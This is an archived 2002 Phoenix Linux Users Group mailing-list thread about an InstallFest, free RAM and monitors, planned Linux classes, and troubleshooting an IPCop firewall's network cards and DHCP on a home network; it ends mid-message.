the help of several people whom I = didn't even get their names, we got Matt's PC up and running on X. As = you know, in Slackware you have to do things the hard way sometimes. I = now have a better idea of what X is and how to set it up. The knowledge base you guys have is amazing. It was what I expected to = find when I decided to join and add another hundred emails a day to my = mailbox. :) Now I pretty much read every one of them every day and I = look forward to the next event.=20 Thanks! Mike Childers IT Network Consultant (602) 308-INET ------=_NextPart_000_001F_01C21A9B.D0807DD0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I just wanted to say that I had a blast = on=20 Saturday.
 
It was my first PLUG meeting although I = have been=20 using Linux for about 10 years (since Slackware 1.0). I walked in = expecting to=20 learn more about turning my desktop to Linux, since all I have done with = Linux=20 so far has been servers and routers. I found a guy named Matt that was=20 installing Slackware 8.0 and started talking to him and eventually = helped him=20 install.
 
To make a long story short, with the = help of=20 several people whom I didn't even get their names, we got Matt's PC up = and=20 running on X. As you know, in Slackware you have to do things the hard = way=20 sometimes. I now have a better idea of what X is and how to set it=20 up.
 
The knowledge base you guys have is = amazing. It was=20 what I expected to find when I decided to join and add another hundred = emails a=20 day to my mailbox. :) Now I pretty much read every one of them every day = and I=20 look forward to the next event.
 
Thanks!
 
Mike Childers
IT Network Consultant
(602) = 308-INET
------=_NextPart_000_001F_01C21A9B.D0807DD0-- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 18:07:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michelle Lowman) Date: Sun, 23 Jun 2002 11:07:58 -0700 Subject: Free RAM to good home In-Reply-To: <20020623003805.4cb21b9f.wokan@cox.net> Message-ID: One is all I need. Will you be at Glendale Tuesday? -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital Wokan Sent: Sunday, June 23, 2002 12:38 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Free RAM to good home I believe I have 3 x 8MB. If you just need one, that leaves me a pair that Shawn can use in his systems. (Assuming he needs pairs.) On Sat, 22 Jun 2002 23:33:46 -0700 "Michelle Lowman" wrote: > If you still have an 8 lying around, let me know. Thanks! > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > Wokan > Sent: Wednesday, June 19, 2002 12:32 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Free RAM to good home > > > I've got a bunch of 72 pin simms laying around from older upgrades. Anyone > with a 486 or really old Pentium/K5/M2 who could use them (more memory for > you Masq'ing router I'd guess) is welcome to them. Not sure what their > condition or capacity is in most cases. I'm sure I have at least a pair of > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > Write back if interested. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 18:48:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Sun, 23 Jun 2002 11:48:23 -0700 Subject: Free RAM to good home In-Reply-To: References: <20020623003805.4cb21b9f.wokan@cox.net> Message-ID: <20020623184823.GX8953@ecloud.org> I want to try to make the next Stammtisch, or we can meet before then if you like. On Sun, Jun 23, 2002 at 11:07:58AM -0700, Michelle Lowman wrote: > One is all I need. Will you be at Glendale Tuesday? > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > Wokan > Sent: Sunday, June 23, 2002 12:38 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Free RAM to good home > > > I believe I have 3 x 8MB. If you just need one, that leaves me a pair that > Shawn can use in his systems. (Assuming he needs pairs.) > > On Sat, 22 Jun 2002 23:33:46 -0700 > "Michelle Lowman" wrote: > > > If you still have an 8 lying around, let me know. Thanks! > > > > -----Original Message----- > > From: plug-discuss-admin@lists.plug.phoenix.az.us > > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > > Wokan > > Sent: Wednesday, June 19, 2002 12:32 PM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Free RAM to good home > > > > > > I've got a bunch of 72 pin simms laying around from older upgrades. > Anyone > > with a 486 or really old Pentium/K5/M2 who could use them (more memory for > > you Masq'ing router I'd guess) is welcome to them. Not sure what their > > condition or capacity is in most cases. I'm sure I have at least a pair > of > > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > > Write back if interested. > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post > > to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 19:07:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sun, 23 Jun 2002 12:07:58 -0700 (MST) Subject: Install Fest Early Th In-Reply-To: Message-ID: On Sun, 23 Jun 2002, Matt Alexander wrote: > These pics are great. Anyone else have some too? My photos are at http://www.wlindley.com/plug/ \\/ p.s., Victor or whoever's putting together the PLUG site, feel free to use them. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 20:36:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 23 Jun 2002 13:36:42 -0700 Subject: IPCop In-Reply-To: <20020623010508.51cf265c.snoogans@qwest.net> References: <20020623010508.51cf265c.snoogans@qwest.net> Message-ID: <20020623133642.60be64d3.snoogans@qwest.net> okay an update in progress ... i am very sure its something i am doing wrong now because i have tried two different NIC's and both of them work fine as the RED NIC but not the GREEN NIC. what happens is the red nic works fine and my firewall gets internet but its not forwarding it out to the rest of my network. the green NIC isn't even lit up in the back. what am i doing wrong? i followed the instructions on thier website but it wont work =/ On Sun, 23 Jun 2002 01:05:08 -0700 "robert jorgenson" wrote: > i was at the installfest today and installed IPCop on an extra box that i had, im trying to figure out how i need to set it up, i have qwest's vdsl which means that there is this gateway box sitting in our living room with a TV cable in and a TV cable and ethernate cable out acting as a dhcp server. I would assume i setup IPCop to get its ip from the gateway box and set it to act as a dhcp server for the rest of my network, however i am very new to networking and i am not sure exactly if that will work or what i have to do, any pointers in the right direction would be great :) Im reading the docs on the IPCop website right now hopefully i will come up with something from there too. > > -Robert > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 21:11:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sun, 23 Jun 2002 14:11:53 -0700 (PDT) Subject: IPCop In-Reply-To: <20020623010508.51cf265c.snoogans@qwest.net> Message-ID: <20020623211153.70973.qmail@web13404.mail.yahoo.com> --- robert jorgenson wrote: > i was at the installfest today and installed IPCop > on an extra box that i had, im trying to figure out > how i need to set it up, i have qwest's vdsl which > means that there is this gateway box sitting in our > living room with a TV cable in and a TV cable and > ethernate cable out acting as a dhcp server. I would > assume i setup IPCop to get its ip from the gateway > box and set it to act as a dhcp server for the rest > of my network, however i am very new to networking > and i am not sure exactly if that will work or what > i have to do, any pointers in the right direction > would be great :) Im reading the docs on the IPCop > website right now hopefully i will come up with > something from there too. Hey Robert (it's me feend), I'm using IPCop too. I have it setup though so that just the gateway machine is using dhcp to get an IP. My other machines are using the unreserved 192.168.x.x range. So like the machine i'm on right now is 192.168.1.2 and I have a second nic in the gateway machine with the IP 192.168.1.1. IP cop makes this process pretty easy and enables NAT by default. Hope that helped some. If you're still stuck I'll get on irc and try and talk you through it. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 21:47:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 23 Jun 2002 14:47:25 -0700 Subject: IPCop In-Reply-To: <20020623211153.70973.qmail@web13404.mail.yahoo.com> References: <20020623010508.51cf265c.snoogans@qwest.net> <20020623211153.70973.qmail@web13404.mail.yahoo.com> Message-ID: <20020623144725.2569709b.snoogans@qwest.net> Okay right now i have it set up so that the IPCop box uses dhcp to get an ip from the qwest gateway box. I enabled the dhcp server on the IPCop box so the rest of my box's on the netwrok get an IP using the range 192.168.1.200/250 the adress of the green nic is 192.168.1.1 and the red nic is dhcp. when i try and get an address on my box it just fails, did i miss an option or something? or am i doing it completely wrong? On Sun, 23 Jun 2002 14:11:53 -0700 (PDT) "bob smith" wrote: > > --- robert jorgenson wrote: > > i was at the installfest today and installed IPCop > > on an extra box that i had, im trying to figure out > > how i need to set it up, i have qwest's vdsl which > > means that there is this gateway box sitting in our > > living room with a TV cable in and a TV cable and > > ethernate cable out acting as a dhcp server. I would > > assume i setup IPCop to get its ip from the gateway > > box and set it to act as a dhcp server for the rest > > of my network, however i am very new to networking > > and i am not sure exactly if that will work or what > > i have to do, any pointers in the right direction > > would be great :) Im reading the docs on the IPCop > > website right now hopefully i will come up with > > something from there too. > > Hey Robert (it's me feend), > I'm using IPCop too. I have it setup though so that > just the gateway machine is using dhcp to get an IP. > My other machines are using the unreserved 192.168.x.x > range. So like the machine i'm on right now is > 192.168.1.2 and I have a second nic in the gateway > machine with the IP 192.168.1.1. IP cop makes this > process pretty easy and enables NAT by default. Hope > that helped some. If you're still stuck I'll get on > irc and try and talk you through it. > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 18:57:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Thu, 20 Jun 2002 11:57:41 -0700 Subject: Free RAM to good home In-Reply-To: <20020623184823.GX8953@ecloud.org> References: <20020623003805.4cb21b9f.wokan@cox.net> <20020623184823.GX8953@ecloud.org> Message-ID: <200206201157.41808.wokan@cox.net> I have yet to make any of the meetings. By the time I get off work and pick up my kid from daycare, there's no time to get to a meeting. I'm up by FLW and the 101, so the traffic is a PITA. (I need to make better use of my TLA's. :) ) On Sunday 23 June 2002 11:48, Shawn Rutledge wrote: > I want to try to make the next Stammtisch, or we can meet before then > if you like. > > On Sun, Jun 23, 2002 at 11:07:58AM -0700, Michelle Lowman wrote: > > One is all I need. Will you be at Glendale Tuesday? > > > > -----Original Message----- > > From: plug-discuss-admin@lists.plug.phoenix.az.us > > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > > Wokan > > Sent: Sunday, June 23, 2002 12:38 AM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Free RAM to good home > > > > > > I believe I have 3 x 8MB. If you just need one, that leaves me a pair > > that Shawn can use in his systems. (Assuming he needs pairs.) > > > > On Sat, 22 Jun 2002 23:33:46 -0700 > > > > "Michelle Lowman" wrote: > > > If you still have an 8 lying around, let me know. Thanks! > > > > > > -----Original Message----- > > > From: plug-discuss-admin@lists.plug.phoenix.az.us > > > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of > > > Digital Wokan > > > Sent: Wednesday, June 19, 2002 12:32 PM > > > To: plug-discuss@lists.plug.phoenix.az.us > > > Subject: Free RAM to good home > > > > > > > > > I've got a bunch of 72 pin simms laying around from older upgrades. > > > > Anyone > > > > > with a 486 or really old Pentium/K5/M2 who could use them (more memory > > > for you Masq'ing router I'd guess) is welcome to them. Not sure what > > > their condition or capacity is in most cases. I'm sure I have at least > > > a pair > > > > of > > > > > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > > > Write back if interested. > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post > > > > > to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 00:42:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sun, 23 Jun 2002 17:42:11 -0700 (PDT) Subject: IPCop In-Reply-To: <20020623144725.2569709b.snoogans@qwest.net> Message-ID: <20020624004211.89619.qmail@web13405.mail.yahoo.com> --- robert jorgenson wrote: > Okay right now i have it set up so that the IPCop > box uses dhcp to get an ip from the qwest gateway > box. I enabled the dhcp server on the IPCop box so > the rest of my box's on the netwrok get an IP using > the range 192.168.1.200/250 the adress of the green > nic is 192.168.1.1 and the red nic is dhcp. when i > try and get an address on my box it just fails, did > i miss an option or something? or am i doing it > completely wrong? This sounds like a problem I was having a while ago where I couldn't get a new IP via DHCP because the lease was still bound to the MAC address of the other NIC I was using (acronyms are great). Use the NIC that was originally in that machine (if you aren't already), and maybe that'll allow you to get online. ping will be your best friend in trying to see if the network is correct. See if you can ping QWest from the IPCop box. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 02:50:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sun, 23 Jun 2002 19:50:25 -0700 Subject: IPCop References: <20020623010508.51cf265c.snoogans@qwest.net> <20020623133642.60be64d3.snoogans@qwest.net> Message-ID: <001401c21b29$e67ebd70$0301010a@tickticker.com> you do have the green nic cat5 cable plugged into another rj45 jack? you may need a crossover cable for this. sounds like the physical layer possibly. anthony ----- Original Message ----- From: "robert jorgenson" To: Sent: Sunday, June 23, 2002 1:36 PM Subject: Re: IPCop > okay an update in progress ... i am very sure its something i am doing wrong now because i have tried two different NIC's and both of them work fine as the RED NIC but not the GREEN NIC. what happens is the red nic works fine and my firewall gets internet but its not forwarding it out to the rest of my network. the green NIC isn't even lit up in the back. what am i doing wrong? i followed the instructions on thier website but it wont work =/ > > On Sun, 23 Jun 2002 01:05:08 -0700 > "robert jorgenson" wrote: > > > i was at the installfest today and installed IPCop on an extra box that i had, im trying to figure out how i need to set it up, i have qwest's vdsl which means that there is this gateway box sitting in our living room with a TV cable in and a TV cable and ethernate cable out acting as a dhcp server. I would assume i setup IPCop to get its ip from the gateway box and set it to act as a dhcp server for the rest of my network, however i am very new to networking and i am not sure exactly if that will work or what i have to do, any pointers in the right direction would be great :) Im reading the docs on the IPCop website right now hopefully i will come up with something from there too. > > > > -Robert > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 06:00:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 23 Jun 2002 23:00:00 -0700 Subject: IPCop In-Reply-To: <001401c21b29$e67ebd70$0301010a@tickticker.com> References: <20020623010508.51cf265c.snoogans@qwest.net> <20020623133642.60be64d3.snoogans@qwest.net> <001401c21b29$e67ebd70$0301010a@tickticker.com> Message-ID: <20020623230000.0a02a67a.snoogans@qwest.net> what do you mean? i have it set up like this internet --> gateway box --> firewall --> hub --> network is there something wrong with that that i dont know about? On Sun, 23 Jun 2002 19:50:25 -0700 "tickticker" wrote: > you do have the green nic cat5 cable plugged into another rj45 jack? you > may need a crossover cable for this. sounds like the physical layer > possibly. > > anthony > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 23, 2002 1:36 PM > Subject: Re: IPCop > > > > okay an update in progress ... i am very sure its something i am doing > wrong now because i have tried two different NIC's and both of them work > fine as the RED NIC but not the GREEN NIC. what happens is the red nic works > fine and my firewall gets internet but its not forwarding it out to the rest > of my network. the green NIC isn't even lit up in the back. what am i doing > wrong? i followed the instructions on thier website but it wont work =/ > > > > On Sun, 23 Jun 2002 01:05:08 -0700 > > "robert jorgenson" wrote: > > > > > i was at the installfest today and installed IPCop on an extra box that > i had, im trying to figure out how i need to set it up, i have qwest's vdsl > which means that there is this gateway box sitting in our living room with a > TV cable in and a TV cable and ethernate cable out acting as a dhcp server. > I would assume i setup IPCop to get its ip from the gateway box and set it > to act as a dhcp server for the rest of my network, however i am very new to > networking and i am not sure exactly if that will work or what i have to do, > any pointers in the right direction would be great :) Im reading the docs on > the IPCop website right now hopefully i will come up with something from > there too. > > > > > > -Robert > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 07:06:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 24 Jun 2002 00:06:16 -0700 (MST) Subject: Danken nach dem InstallFest Message-ID: moin, moin, I wish to thank everyone who helped PLUG put on a very successful ( east side[1] ) InstallFest! Specifically I want to thank Bill for leading the project. He did a great job and recruited good help from Dennis, Alan, Susan, Vic, Jim and our gracious host Thurman to organize and promote the InstallFest. Thanks to Alan for begging on our behalf and getting the large pile of goodies. Many others helped in planning the InstallFest, including the questions on the PLUG list that reminded us of things we'd forgotten. I would also like to specifically thank those who came into town from Tucson and Flagstaff to help ( kudos to OSEF and RedHat for having good people in their orgs ). I can't forget to mention the Lycoris guys jaunting in from .ca.us! Crucial in making it all work, though, were all of you who showed up to help others or to get help! It looked like we were giving some excellent assistance. I overheard many people saying we were doing a great job. That, more importantly than the large number of participants we had, is what indicates a successful event to me. Thanks for all the work and congratulations on a job well done! ciao, der.hans [1] see the next email for this footnote :) -- # https://www.LuftHans.com/ # Keine Ahnung, was ich dir sagen soll, # keine Ahnung und keinen (.)plan. -- die Toten Hosen From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 07:09:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 24 Jun 2002 00:09:39 -0700 (MST) Subject: the next projects Message-ID: moin, moin, We now have a couple of new challenges. One, as foreshadowed in parenthesis in the first sentence of the post I just sent, is to put on a successful west side InstallFest. That topic's been coming up since we started planning the InstallFest and I heard it requested many times Sat. YES!, we want to have a successful west side InstallFest. In order for it to happen, we need a few people to come forward to organize it. Please let me know if you'd like to work to make it happen. The other challenge is something I posted last week. We will be starting classes doing an Intro to GNU/Linux starting the first Wed of Sep. These classes will be open to the public and free of charge. They will be on the east side at Sequoia ( just a warning for the west-siders: we want to hold classes on your side of the planet as well ). We do not currently have a curriculum lined out or have presenters, so please feel free to step forward and help out :). We hope to run a six-month course with meetings once a month. The goal for the classes is to teach people who have no GNU/Linux experience ( maybe even no computer experience at all ) how to use the basic functionality of a GNU/Linux desktop. We intend to include several key applications such as Open Office, gimp and a mail client. ciao, der.hans -- # https://www.LuftHans.com/ # Two roads diverged in a wood, and I -- # I took the one less traveled by, # And that has made all the difference. -- Robert Frost # I, OTOH, prefer to just go stomping through the desert... - der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 07:09:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Sawyer) Date: Mon, 24 Jun 2002 00:09:03 -0700 Subject: Danken nach dem InstallFest In-Reply-To: Message-ID: <5.1.0.14.2.20020624000704.023a89d0@mail.scottsawyer.org> On this note there are images posted at http://www.scottsawyer.org/photo-display/index.cgi under the 2002 year archives. -Scott At 12:06 AM 6/24/2002 -0700, der.hans wrote: >moin, moin, > >I wish to thank everyone who helped PLUG put on a very successful ( east >side[1] ) InstallFest! > >Specifically I want to thank Bill for leading the project. He did a great >job and recruited good help from Dennis, Alan, Susan, Vic, Jim and our >gracious host Thurman to organize and promote the InstallFest. > >Thanks to Alan for begging on our behalf and getting the large pile of >goodies. > >Many others helped in planning the InstallFest, including the questions on >the PLUG list that reminded us of things we'd forgotten. > >I would also like to specifically thank those who came into town from Tucson >and Flagstaff to help ( kudos to OSEF and RedHat for having good people in >their orgs ). I can't forget to mention the Lycoris guys jaunting in from >.ca.us! > >Crucial in making it all work, though, were all of you who showed up to >help others or to get help! > >It looked like we were giving some excellent assistance. I overheard many >people saying we were doing a great job. That, more importantly than the >large number of participants we had, is what indicates a successful event to >me. > >Thanks for all the work and congratulations on a job well done! > >ciao, > >der.hans > >[1] see the next email for this footnote :) >-- ># https://www.LuftHans.com/ ># Keine Ahnung, was ich dir sagen soll, ># keine Ahnung und keinen (.)plan. -- die Toten Hosen > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Scott Sawyer Engagement Manager - Red Hat Inc. http://www.redhat.com Scott Sawyer Digital Photography http://www.scottsawyer.org Member of Linux Users of Northern Arizona http://luna.flagstaff.az.us From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 12:44:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 24 Jun 2002 05:44:31 -0700 Subject: Fwd: DesktopLinux.com: Declare your 'wIndependence' this July 4th! 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"the Embedded Linux Portal" DesktopLinux.com ... "Join the Desktop Linux Revolution!" DeviceForge, LLC -- PO Box 60973, Palo Alto, CA 94306 -- 650-325-9672 ==================================================================== - ------------------------------------------------------- - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRcUPisk3ywszI1FEQIQiACff772LuWTY3IrNDi+y+5k5MJPIPYAoK3l 48QBHBiesvmy/uUNrk1+Z3Sr =qoWJ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 16:20:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Mon, 24 Jun 2002 09:20:58 -0700 Subject: IPCop In-Reply-To: <20020623230000.0a02a67a.snoogans@qwest.net> Message-ID: Is the cable connecting the firewall to the hub lighting up the port light on the hub? I agree with Anthony, it sounds like a physical layer issue. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of robert jorgenson Sent: Sunday, June 23, 2002 11:00 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: IPCop what do you mean? i have it set up like this internet --> gateway box --> firewall --> hub --> network is there something wrong with that that i dont know about? On Sun, 23 Jun 2002 19:50:25 -0700 "tickticker" wrote: > you do have the green nic cat5 cable plugged into another rj45 jack? you > may need a crossover cable for this. sounds like the physical layer > possibly. > > anthony > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 23, 2002 1:36 PM > Subject: Re: IPCop > > > > okay an update in progress ... i am very sure its something i am doing > wrong now because i have tried two different NIC's and both of them work > fine as the RED NIC but not the GREEN NIC. what happens is the red nic works > fine and my firewall gets internet but its not forwarding it out to the rest > of my network. the green NIC isn't even lit up in the back. what am i doing > wrong? i followed the instructions on thier website but it wont work =/ > > > > On Sun, 23 Jun 2002 01:05:08 -0700 > > "robert jorgenson" wrote: > > > > > i was at the installfest today and installed IPCop on an extra box that > i had, im trying to figure out how i need to set it up, i have qwest's vdsl > which means that there is this gateway box sitting in our living room with a > TV cable in and a TV cable and ethernate cable out acting as a dhcp server. > I would assume i setup IPCop to get its ip from the gateway box and set it > to act as a dhcp server for the rest of my network, however i am very new to > networking and i am not sure exactly if that will work or what i have to do, > any pointers in the right direction would be great :) Im reading the docs on > the IPCop website right now hopefully i will come up with something from > there too. > > > > > > -Robert > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 17:20:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 24 Jun 2002 10:20:37 -0700 (PDT) Subject: 15" Monitors available Message-ID: Silly me, I should have included monitors with the computers I was selling/donating previously. Anywho, I've got about 47 bazillion 15" monitors for your computing enjoyment. Say, $20 each? I might even give a discount if you buy in bulk. ;-) If you're a non-profit, the same rules apply as before with the computers. I'll need a receipt for the monitors with the total price (even though you'll get them for free). So stock up on monitors today! Hurry, while supplies last! Operators are standing by... ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 17:54:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Mon, 24 Jun 2002 10:54:18 -0700 Subject: IPCop In-Reply-To: References: <20020623230000.0a02a67a.snoogans@qwest.net> Message-ID: <20020624105418.34bc7aff.snoogans@qwest.net> no its not, i 